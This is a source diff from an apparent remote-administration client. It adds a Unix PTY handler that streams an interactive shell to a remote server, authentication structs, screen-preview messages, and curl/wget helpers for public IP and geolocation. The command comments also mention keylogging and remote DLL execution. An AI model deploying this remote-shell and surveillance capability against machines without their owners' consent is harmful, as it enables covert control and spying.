*eq = '\0';
std::string key = Unescape(std::string(line));
std::string value = Unescape(std::string(eq + 1));
m_sections[currentSection][key] = value;
} }
// 从内存加载 INI 数据,返回是否成功
// 用于加载嵌入的资源数据
bool LoadFromMemory(const char* data, size_t size)
{
Clear();
if (!data || size == 0)
return false;
std::string currentSection;
const char* p = data;
const char* end = data + size;
while (p < end) {
// 找到行尾
const char* lineEnd = p;
while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
lineEnd++;
// 复制行内容
size_t lineLen = lineEnd - p;
if (lineLen > 0 && lineLen < 4096) {
char line[4096];
memcpy(line, p, lineLen);
line[lineLen] = '\0';
ParseLine(line, currentSection);
}
// 跳过换行符
p = lineEnd;
while (p < end && (*p == '\n' || *p == '\r'))
p++;
}
return true;
}
// 追加加载(不清除现有数据,用于覆盖)
bool LoadFileAppend(const char* filePath)
{
if (!filePath || !filePath[0])
return false;
FILE* f = nullptr;
#ifdef _MSC_VER
if (fopen_s(&f, filePath, "r") != 0 || !f)
return false;
#else
f = fopen(filePath, "r");
if (!f)
return false;
#endif
std::string currentSection;
char line[4096];
while (fgets(line, sizeof(line), f)) {
ParseLine(line, currentSection);
} }
fclose(f); fclose(f);
@@ -138,6 +162,52 @@ public:
private: private:
TSections m_sections; TSections m_sections;
// 解析单行 INI 内容
void ParseLine(char* line, std::string& currentSection)
{
// 去除行尾换行符
size_t len = strlen(line);
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r'))
line[--len] = '\0';
if (len == 0)
return;
// 跳过注释
if (line[0] == ';' || line[0] == '#')
return;
// 检测 section 头: [SectionName]
// 真正的 section 头:']' 后面没有 '='(否则是 key=value
if (line[0] == '[') {
char* end = strchr(line, ']');
if (end) {
char* eqAfter = strchr(end + 1, '=');
if (!eqAfter) {
// 纯 section 头,如 [Strings]
*end = '\0';
currentSection = line + 1;
return;
}
// ']' 后有 '=',如 [使用FRP]=[Using FRP],当作 key=value 处理
}
}
// 不在任何 section 内则跳过
if (currentSection.empty())
return;
// 解析 key=value只按第一个 '=' 分割,不 trim
// key 和 value 均做反转义(\n \r \t \\ \"
char* eq = strchr(line, '=');
if (eq && eq != line) {
*eq = '\0';
std::string key = Unescape(std::string(line));
std::string value = Unescape(std::string(eq + 1));
m_sections[currentSection][key] = value;
}
}
// 反转义:将字面量 \n \r \t \\ \" 转为对应的控制字符 // 反转义:将字面量 \n \r \t \\ \" 转为对应的控制字符
static std::string Unescape(const std::string& s) static std::string Unescape(const std::string& s)
{ {

275
common/PTYHandler.h Normal file
View File

@@ -0,0 +1,275 @@
/**
* PTYHandler.h - Unix Pseudo Terminal Handler
*
* This file provides pseudo terminal (PTY) functionality for remote shell access.
*
* PLATFORM SUPPORT:
* - Linux: Supported
* - macOS: Supported
* - Windows: NOT SUPPORTED (Windows uses different terminal APIs)
*
* USAGE:
* #include "common/PTYHandler.h"
*
* PTYHandler* handler = new PTYHandler(clientObject);
* clientObject->setManagerCallBack(handler, ...);
*/
#pragma once
#if defined(_WIN32) || defined(_WIN64)
#error "PTYHandler.h is not supported on Windows. Use Windows ConPTY or other APIs instead."
#endif
// Platform-specific includes
#ifdef __APPLE__
#include <util.h> // macOS: openpty()
#else
#include <pty.h> // Linux: openpty()
#endif
// Common Unix includes
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <thread>
#include <atomic>
#include <stdexcept>
#include "commands.h"
#include "../client/IOCPClient.h"
/**
* PTYHandler - Pseudo Terminal Handler
*
* Manages a pseudo terminal for remote shell access.
* Inherits from IOCPManager to integrate with the IOCP client framework.
*/
class PTYHandler : public IOCPManager
{
public:
// Non-copyable, non-movable (owns system resources)
PTYHandler(const PTYHandler&) = delete;
PTYHandler& operator=(const PTYHandler&) = delete;
PTYHandler(PTYHandler&&) = delete;
PTYHandler& operator=(PTYHandler&&) = delete;
PTYHandler(IOCPClient* client) : m_client(client), m_running(false), m_master_fd(-1), m_slave_fd(-1), m_child_pid(-1)
{
if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null");
}
// Create pseudo terminal pair
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
throw std::runtime_error("Failed to create pseudo terminal");
}
// Set master fd to non-blocking mode
int flags = fcntl(m_master_fd, F_GETFL, 0);
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
// Start shell process
startShell();
}
~PTYHandler()
{
m_running = false;
if (m_readThread.joinable()) {
m_readThread.join();
}
if (m_master_fd >= 0) {
close(m_master_fd);
}
if (m_slave_fd >= 0) {
close(m_slave_fd);
}
if (m_child_pid > 0) {
// Check if child is still running before killing
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == 0) {
// Child still running, terminate it
kill(m_child_pid, SIGTERM);
waitpid(m_child_pid, nullptr, 0);
}
// If result == m_child_pid, child already exited and was reaped
// If result == -1, child was already reaped elsewhere
}
}
// Start the PTY read thread
void Start()
{
bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return;
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
}
// Handle incoming data from server
virtual VOID OnReceive(PBYTE data, ULONG size) override
{
if (size && data[0] == COMMAND_NEXT) {
Start();
return;
}
// Handle terminal resize command
if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
short cols, rows;
memcpy(&cols, data + 1, sizeof(short));
memcpy(&rows, data + 3, sizeof(short));
SetWindowSize(cols, rows);
return;
}
// Write data to PTY
if (size > 0) {
ssize_t total = 0;
while (total < (ssize_t)size) {
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
if (written == -1) {
if (errno == EAGAIN || errno == EINTR) continue;
break;
}
total += written;
}
}
}
// Set terminal window size
void SetWindowSize(int cols, int rows)
{
struct winsize ws;
ws.ws_col = cols;
ws.ws_row = rows;
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
return;
}
// Send SIGWINCH to child process to notify window size change
if (m_child_pid > 0) {
kill(m_child_pid, SIGWINCH);
}
}
private:
int m_master_fd;
int m_slave_fd;
IOCPClient* m_client;
std::thread m_readThread;
std::atomic<bool> m_running;
pid_t m_child_pid;
void startShell()
{
m_child_pid = fork();
if (m_child_pid == -1) {
close(m_master_fd);
close(m_slave_fd);
throw std::runtime_error("Failed to fork shell process");
}
if (m_child_pid == 0) {
// Child process
setsid(); // Create new session, become session leader
// Set slave PTY as controlling terminal (required for Ctrl+C to work)
// This must be done after setsid() and before dup2()
ioctl(m_slave_fd, TIOCSCTTY, 0);
// Redirect stdin/stdout/stderr to slave PTY
dup2(m_slave_fd, STDIN_FILENO);
dup2(m_slave_fd, STDOUT_FILENO);
dup2(m_slave_fd, STDERR_FILENO);
close(m_master_fd);
close(m_slave_fd);
// Set terminal environment for xterm.js compatibility
setenv("TERM", "xterm-256color", 1);
setenv("COLORTERM", "truecolor", 1);
#ifdef __APPLE__
// macOS locale settings
setenv("LANG", "en_US.UTF-8", 1);
setenv("LC_ALL", "en_US.UTF-8", 1);
// Disable zsh session save/restore (causes errors in PTY)
setenv("SHELL_SESSIONS_DISABLE", "1", 1);
// Try zsh first (macOS default), fallback to bash. Use -l (login) so
// ~/.zprofile is sourced — Homebrew's `brew shellenv` (which puts
// /opt/homebrew/bin on PATH) lives there. Without -l the PTY can't
// see brew / cmake / node / pyenv / rustup etc.
if (access("/bin/zsh", X_OK) == 0) {
execl("/bin/zsh", "zsh", "-l", "-i", nullptr);
}
execl("/bin/bash", "bash", "-l", "-i", nullptr);
#else
// Linux locale settings (C.UTF-8 is most portable)
setenv("LANG", "C.UTF-8", 1);
setenv("LC_ALL", "C.UTF-8", 1);
// Start interactive bash
execl("/bin/bash", "bash", "-i", nullptr);
#endif
_exit(1);
}
}
void readFromPTY()
{
char buffer[4096];
while (m_running) {
// Check if child process has exited
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == m_child_pid) {
// Shell exited, send close notification
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
}
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
if (bytes_read > 0) {
if (m_client) {
m_client->Send2Server(buffer, bytes_read);
}
} else if (bytes_read == 0) {
// EOF - PTY closed
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else if (bytes_read == -1) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
usleep(10000); // 10ms
} else if (errno == EIO) {
// EIO typically means PTY slave closed (shell exited)
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else {
break;
}
}
}
}
};

103
common/client_auth_state.h Normal file
View File

@@ -0,0 +1,103 @@
// client_auth_state.h
// Linux/macOS 客户端服务端身份校验状态 + helperLayer 1 防护)。
//
// 行为模型:
// - g_loginMsgstartTime + "|" + clientID启动时填一次跨重连不变
// - g_loginTime每次新连接重置为当前时刻
// - g_settingsVerified服务端 CMD_MASTERSETTING 通过签名校验后置 true
// 重连时重置为 false
//
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应
// 让进程退出。校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
// 功能侧的安全由子连接 authTOKEN_CONN_AUTH兜底——没通过校验的服务端无法
// 触发任何 sub-connection 功能。
//
// 跨线程访问:
// - g_settingsVerified 在 DataProcessIO 线程写、心跳循环main 线程)读
// - 用 std::atomic<bool> + acquire/release 内存序保证可见性
//
// C++17 inline 变量保证多翻译单元共享同一实例,无 ODR 冲突。
#pragma once
#include <atomic>
#include <cstring>
#include <ctime>
#include <string>
#include "common/commands.h"
// 全局 namespace 中的 verifyMessage由 client/sign_shim_unix.cppLinux/macOS
// 私有 .libWindows提供。必须在任何 namespace 之外声明,否则会被解析成
// ClientAuth::verifyMessage 导致链接失败。
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
const std::string& signature);
namespace ClientAuth {
// ============== 跨重连保留的状态 ==============
inline std::string g_loginMsg;
inline time_t g_loginTime = 0;
inline std::atomic<bool> g_settingsVerified{false};
// ============== Helpers ==============
// 进入新连接前调用g_loginTime = nowverified = false
inline void OnNewConnection()
{
g_loginTime = time(nullptr);
g_settingsVerified.store(false, std::memory_order_release);
}
// DataProcess 开头的 gate未通过校验前仅放行 CMD_MASTERSETTING校验本身
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
inline bool IsCommandAllowed(unsigned char cmd)
{
return g_settingsVerified.load(std::memory_order_acquire) || cmd == CMD_MASTERSETTING;
}
// 处理 CMD_MASTERSETTINGpayload = szBuffer + 1payloadLen = ulLength - 1
// 强制要求完整 MasterSettings包含 Signature 字段);不完整 / 签名失败 → 不更新
// g_settingsVerified让心跳循环 30s 超时自然把本次连接断开重连。
//
// 返回 true校验通过已 store(true)),通过 outReportInterval / outSettingsCopy
// 返回 settings 内容供调用方继续应用(更新心跳间隔、密码哈希等)
// 返回 false本次响应异常调用方应直接 return不要继续处理
//
// 注意:参数采用 unsigned char* 而非 BYTE* 避免依赖 Windows typedef
// BYTE 在 commands.h 已 typedef 为 unsigned char等价。
inline bool HandleMasterSettings(const unsigned char* payload, int payloadLen,
MasterSettings* outSettings)
{
if (payloadLen < (int)sizeof(MasterSettings)) {
return false;
}
MasterSettings settings = {};
std::memcpy(&settings, payload, sizeof(MasterSettings));
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
// 验证签名。失败 → 不立即退出,让超时兜底+重连逻辑处理。
// 注意 ::verifyMessage 在全局 namespace见本头部 extern 声明),不能省略 :: 前缀,
// 否则会被解析为 ClientAuth::verifyMessage链接失败。
std::string sig((char*)settings.Signature,
(char*)settings.Signature + sizeof(settings.Signature));
if (!::verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
return false;
}
g_settingsVerified.store(true, std::memory_order_release);
if (outSettings) *outSettings = settings;
return true;
}
// 心跳循环里检查 30s 超时:登录后 30 秒内必须收到并通过 MasterSettings 校验,
// 失败 → 调用方应显式断开本连接让外层重连。永不退出进程。
inline bool IsTimedOut()
{
return !g_settingsVerified.load(std::memory_order_acquire) &&
g_loginTime > 0 &&
time(nullptr) - g_loginTime > 30;
}
} // namespace ClientAuth

View File

@@ -126,6 +126,9 @@ inline int isValid_10s()
// 客户端能力位 // 客户端能力位
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输 #define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
// 无此位 = 老客户端,按系统 ANSI默认 CP936解读
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 #define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
@@ -330,8 +333,104 @@ enum {
CMD_SET_GROUP = 242, // 修改分组 CMD_SET_GROUP = 242, // 修改分组
CMD_EXECUTE_DLL_NEW = 243, // 执行代码 CMD_EXECUTE_DLL_NEW = 243, // 执行代码
CMD_PEER_TO_PEER = 244, // P2P通信 CMD_PEER_TO_PEER = 244, // P2P通信
TOKEN_CLIENTID = 245,
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
}; };
// 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
// 钉在子连接 ctx 上,后续命令免 IP 反查直接拿到主连接关联。
// 主连接TOKEN_LOGIN 流)不走此校验。
//
// 兼容性策略:
// - 老客户端不发 → 新服务端宽容(保留 IP 反查兜底,行为不变)。
// - 新客户端发出 → 等服务端 ConnAuthAck超时或失败则不继续。
// - 因此新客户端只能向新服务端连接(破坏性升级)。
// - 未来收紧:服务端可拒绝所有未通过 auth 的子连接。
//
// 协议固定为 512 / 256 字节(参照 LOGIN_INFOR::szReserved[512] 的做法),
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
#pragma pack(push, 1)
struct ConnAuthPacket {
uint8_t token; // = TOKEN_CONN_AUTH [1]
uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8]
uint64_t timestamp; // 客户端发包时的 Unix 秒,防重放第一道 [8]
uint8_t nonce[16]; // 随机数,进一步降低重放/碰撞概率 [16]
char signature[64]; // signMessage("", clientID||timestamp||nonce, 32) [64]
char reserved[415]; // 预留扩展 [415]
}; // 总 512
// 服务端响应token + status + serverTime + 预留,固定 256 字节。
// serverTime 客户端可用来校正本机时钟偏差用于后续协议(可选)。
struct ConnAuthAck {
uint8_t token; // = TOKEN_CONN_AUTH回显方便客户端 dispatch [1]
uint8_t status; // 0=OK, 其它=失败原因(见 ConnAuthStatus [1]
uint64_t serverTime; // 服务端处理时的 Unix 秒 [8]
char reserved[246]; // 预留扩展 [246]
}; // 总 256
#pragma pack(pop)
// 编译期断言:协议大小不允许被无意改动
static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes");
// 屏幕预览服务端按双击在线主机触发向客户端要一张缩略图JPEG与浮窗一起显示。
// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG预留 PNG/WebP。
#pragma pack(push, 1)
struct ScreenPreviewReq {
uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ
uint16_t reqId; // 请求序号,用于丢弃过期响应
uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制)
uint8_t jpegQuality; // 1..100
uint16_t reserved;
}; // 总 8 字节
enum ScreenPreviewStatus {
SCREEN_PREVIEW_OK = 0,
SCREEN_PREVIEW_CAPTURE_FAILED = 1, // 抓屏失败
SCREEN_PREVIEW_ENCODE_FAILED = 2, // 编码失败
SCREEN_PREVIEW_NOT_SUPPORTED = 3, // 平台不支持
};
enum ScreenPreviewFormat {
SCREEN_PREVIEW_FMT_JPEG = 0,
SCREEN_PREVIEW_FMT_PNG = 1, // 预留
SCREEN_PREVIEW_FMT_WEBP = 2, // 预留
};
struct ScreenPreviewRspHeader {
uint8_t token; // = TOKEN_SCREEN_PREVIEW_RSP
uint16_t reqId; // 回显请求序号
uint8_t status; // ScreenPreviewStatus
uint8_t format; // ScreenPreviewFormatv1 仅 JPEG
uint16_t width; // 实际编码图宽
uint16_t height; // 实际编码图高
uint32_t bytes; // 图像字节数(紧随其后)
uint8_t reserved[3];
// 后接 data[bytes]
}; // 头部 16 字节
#pragma pack(pop)
static_assert(sizeof(ScreenPreviewReq) == 8, "ScreenPreviewReq must be 8 bytes");
static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes");
enum ConnAuthStatus {
CONN_AUTH_OK = 0,
CONN_AUTH_BAD_SIZE = 1, // 包长度不对
CONN_AUTH_CLOCK_SKEW = 2, // 时间戳超过容忍范围
CONN_AUTH_BAD_SIGNATURE = 3, // HMAC 不匹配
CONN_AUTH_INTERNAL_ERROR = 4,
};
#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300 // 客户端/服务端时钟漂移容忍 ±5 分钟
#define CONN_AUTH_CLIENT_WAIT_MS 10000 // 客户端等待 ack 的超时
// 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量;
// 同机几毫秒就回,正常路径用户感知不到。
enum MachineCommand { enum MachineCommand {
MACHINE_LOGOUT, MACHINE_LOGOUT,
MACHINE_SHUTDOWN, MACHINE_SHUTDOWN,
@@ -915,7 +1014,14 @@ typedef struct LOGIN_INFOR {
{ {
memset(this, 0, sizeof(LOGIN_INFOR)); memset(this, 0, sizeof(LOGIN_INFOR));
bToken = TOKEN_LOGIN; bToken = TOKEN_LOGIN;
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2); // 能力位声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端
// 实现(依赖 GDI BitBlt + GDI+ JPEGLinux/macOS 不声明,避免服务端发请求
// 后等 4s 超时显示"预览不可用"。
unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
#ifdef _WIN32
caps |= CLIENT_CAP_SCREEN_PREVIEW;
#endif
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
} }
LOGIN_INFOR& Speed(unsigned long speed) LOGIN_INFOR& Speed(unsigned long speed)
{ {
@@ -1048,6 +1154,14 @@ enum QualityLevel {
QUALITY_COUNT = 6, QUALITY_COUNT = 6,
}; };
// 屏幕压缩算法常量 (所有平台共用)
#ifndef ALGORITHM_GRAY
#define ALGORITHM_GRAY 0 // 灰度压缩
#define ALGORITHM_DIFF 1 // 差分压缩 (BGRA)
#define ALGORITHM_H264 2 // H264 硬件编码
#define ALGORITHM_RGB565 3 // RGB565 压缩
#endif
/* 质量配置(与 QualityLevel 对应) /* 质量配置(与 QualityLevel 对应)
- strategy = 01080p 限制 - strategy = 01080p 限制
- strategy = 1原始分辨率 - strategy = 1原始分辨率
@@ -1080,6 +1194,29 @@ inline const QualityProfile& GetQualityProfile(int level) {
return g_QualityProfiles[level]; return g_QualityProfiles[level];
} }
// 屏幕预览质量配置(与 QualityLevel 共用 RTT 阈值表,但参数维度不同:缩略图只关心
// 编码尺寸 + JPEG 质量,没有 FPS / 算法等运动视频参数)
struct PreviewProfile {
int maxWidth; // 期望编码宽度(客户端会等比缩放,禁止放大)
int jpegQuality; // JPEG 质量 1..100
};
inline const PreviewProfile& GetScreenPreviewProfile(int level) {
static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = {
{ 1024, 85 }, // Ultra: 超清 (LAN/同省4K 源屏可进一步放大到 1280)
{ 800, 80 }, // High: 高清 (跨省直连)
{ 640, 75 }, // Good: 标清 (同国/邻国)
{ 480, 70 }, // Medium: 常规 (大陆间)
{ 384, 60 }, // Low: 低清 (跨洲)
{ 256, 50 }, // Minimal: 最低 (极差网络/卫星链路)
};
if (level < 0 || level >= QUALITY_COUNT) {
static const PreviewProfile fallback = { 480, 70 };
return fallback;
}
return g_PreviewProfiles[level];
}
// 根据RTT获取目标质量等级 (控制端使用) // 根据RTT获取目标质量等级 (控制端使用)
inline int GetTargetQualityLevel(int rtt, int usingFRP) { inline int GetTargetQualityLevel(int rtt, int usingFRP) {
// 根据模式应用不同 RTT阈值 (毫秒) // 根据模式应用不同 RTT阈值 (毫秒)

View File

@@ -321,6 +321,16 @@ inline const char* getFileName(const char* path)
#endif #endif
#elif defined(_WIN32) #elif defined(_WIN32)
#define Mprintf(format, ...) Logger::getInstance().log(getFileName((__FILE__)), __LINE__, (format), __VA_ARGS__) #define Mprintf(format, ...) Logger::getInstance().log(getFileName((__FILE__)), __LINE__, (format), __VA_ARGS__)
#elif defined(__APPLE__)
// macOS: 使用 NSLog 输出到系统日志(可通过 Console.app 查看)
#ifdef Mprintf
#undef Mprintf
#endif
#ifdef __OBJC__
#define Mprintf(format, ...) NSLog(@"%@", [NSString stringWithFormat:@(format), ##__VA_ARGS__])
#else
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
#endif
#else #else
// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件 // Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件
#ifdef Mprintf #ifdef Mprintf

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@@ -0,0 +1,99 @@
// posix_net_helpers.h
// Linux/macOS 客户端共用的网络/Shell 工具execCmd / httpGet / getPublicIP /
// jsonExtract / getGeoLocation。Windows 端已有等价实现,不应包含此头。
//
// 全部 inlineheader-only避免新增 .cpp / 改 CMakeLists。
//
// 设计说明:
// - httpGet 优先 curl备选 wgetLinux 默认自带macOS 默认无 wget缺失时
// wget 命令失败、execCmd 返空——无副作用,等价于"只用 curl"
// - getPublicIP 轮询多个公网 IP 查询源,按顺序尝试直到成功
// - jsonExtract 仅做最简单的 "key":"value" 提取,不依赖 jsoncpp
// - getGeoLocation 通过 ipinfo.io 反查地理位置,与 Windows IPConverter 同源
#pragma once
#include <cstdio>
#include <memory>
#include <string>
#include "common/logger.h"
namespace PosixNet {
// 执行 shell 命令,捕获其 stdout 输出trim 末尾空白后返回)
inline std::string execCmd(const std::string& cmd)
{
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
if (!pipe) return "";
char buf[4096];
std::string result;
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET 请求:优先 curl备选 wget
inline std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
if (!r.empty()) return r;
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
return r;
}
// 获取公网 IP轮询多个查询源与 Windows 端 IPConverter 一致)
inline std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
return ip;
}
}
Mprintf("getPublicIP: all sources failed\n");
return "";
}
// 从 JSON 字符串中提取指定 key 的 string 值(简易解析,不依赖 jsoncpp
// 仅支持 "key": "value" 或 "key":"value" 格式
inline std::string jsonExtract(const std::string& json, const std::string& key)
{
std::string needle = "\"" + key + "\"";
size_t pos = json.find(needle);
if (pos == std::string::npos) return "";
pos = json.find(':', pos + needle.size());
if (pos == std::string::npos) return "";
pos = json.find('"', pos + 1);
if (pos == std::string::npos) return "";
size_t end = json.find('"', pos + 1);
if (end == std::string::npos) return "";
return json.substr(pos + 1, end - pos - 1);
}
// 获取 IP 地理位置ipinfo.io与 Windows IPConverter 同源)
inline std::string getGeoLocation(const std::string& ip)
{
if (ip.empty()) return "";
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
if (json.empty()) return "";
std::string country = jsonExtract(json, "country");
std::string city = jsonExtract(json, "city");
if (city.empty() && country.empty()) return "";
if (city.empty()) return country;
if (country.empty()) return city;
return city + ", " + country;
}
} // namespace PosixNet

50
common/rtt_estimator.h Normal file
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@@ -0,0 +1,50 @@
// rtt_estimator.h
// 平滑 RTT 估算器(参考 RFC 6298与 Windows 端 KernelManager 算法一致。
// Linux/macOS 客户端共享:每次心跳 ACK 用 update_from_sample(rtt_ms) 喂一次样本。
//
// 设计要点:
// - srtt / rttvar / rto 单位为秒;输入是毫秒
// - 异常值≤0 或 >30s丢弃防止统计被一个瞬时坏样本污染
// - alpha=1/8, beta=1/4 与 RFC 6298 默认值一致
//
// C++17 inline 全局变量g_rttEstimator / g_heartbeatInterval 由本头文件直接定义,
// 多翻译单元 include 不会触发 ODR 冲突。
#pragma once
#include <cmath>
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒
if (rtt_ms <= 0 || rtt_ms > 30000)
return;
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
// 进程级全局:所有翻译单元共享同一份估算器与心跳间隔
inline RttEstimator g_rttEstimator;
inline int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新

70
common/sub_conn_thread.h Normal file
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@@ -0,0 +1,70 @@
// sub_conn_thread.h
// Linux/macOS 客户端子连接 worker 线程的统一骨架。
//
// 各 worker 线程Shell / ScreenSpy / FileManager / SystemManager 等)共有的步骤:
// 1. new IOCPClient(g_bExit, exit_while_disconnect=true)
// 2. Enter log
// 3. EnableSubConnAuth(true, g_myClientID)(子连接强制 ConnAuth
// 4. ConnectServer内部会执行 PerformConnAuth失败返 false
// 5. 创建 platform handler
// 6. setManagerCallBack 装回调
// 7. 调 onReady发首包TOKEN_TERMINAL_START / SendBitmapInfo() 等)
// 8. while (running && connected && !g_bExit) Sleep
// 9. 清回调防止 dangling
// 10. Leave log
// 11. catch exceptions
//
// 平台差异(通过 lambda 注入):
// - HandlerTPTYHandler / ScreenHandler / SystemManager / FileManager
// - createHandler 可返回 nullptr 表示初始化失败(如 macOS ScreenHandler 无录屏权限)
// - onReady 完成首包发送或额外 setup
//
// 用法见 linux/main.cpp / macos/main.mm 的 *workingThread 调用点。
#pragma once
#include <memory>
#include <stdexcept>
#include "client/IOCPClient.h"
#include "common/commands.h"
#include "common/logger.h"
extern State g_bExit;
extern uint64_t g_myClientID;
extern CONNECT_ADDRESS g_SETTINGS;
// 子连接 worker 线程通用骨架。
//
// CreateFn 签名: std::unique_ptr<HandlerT>(IOCPClient*)
// 返回 nullptr 表示初始化失败(如权限拒绝),线程会跳过 callback 安装直接 leave。
// OnReadyFn 签名: void(IOCPClient*, HandlerT*)
// handler 装上 callback 后立即调用,可在此发送首包或做额外 setup。
template <class HandlerT, class CreateFn, class OnReadyFn>
inline void RunSubConnThread(const char* threadName, CreateFn createHandler, OnReadyFn onReady)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter %s [%p]\n", threadName, clientAddr);
// 子连接:开启 auth。Linux/macOS IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<HandlerT> handler = createHandler(ClientObject.get());
if (handler) {
ClientObject->setManagerCallBack(handler.get(),
IOCPManager::DataProcess,
IOCPManager::ReconnectProcess);
onReady(ClientObject.get(), handler.get());
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
// 清除回调,防止重连线程访问已销毁的 handler
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
}
}
Mprintf(">>> Leave %s [%p]\n", threadName, clientAddr);
} catch (const std::exception& e) {
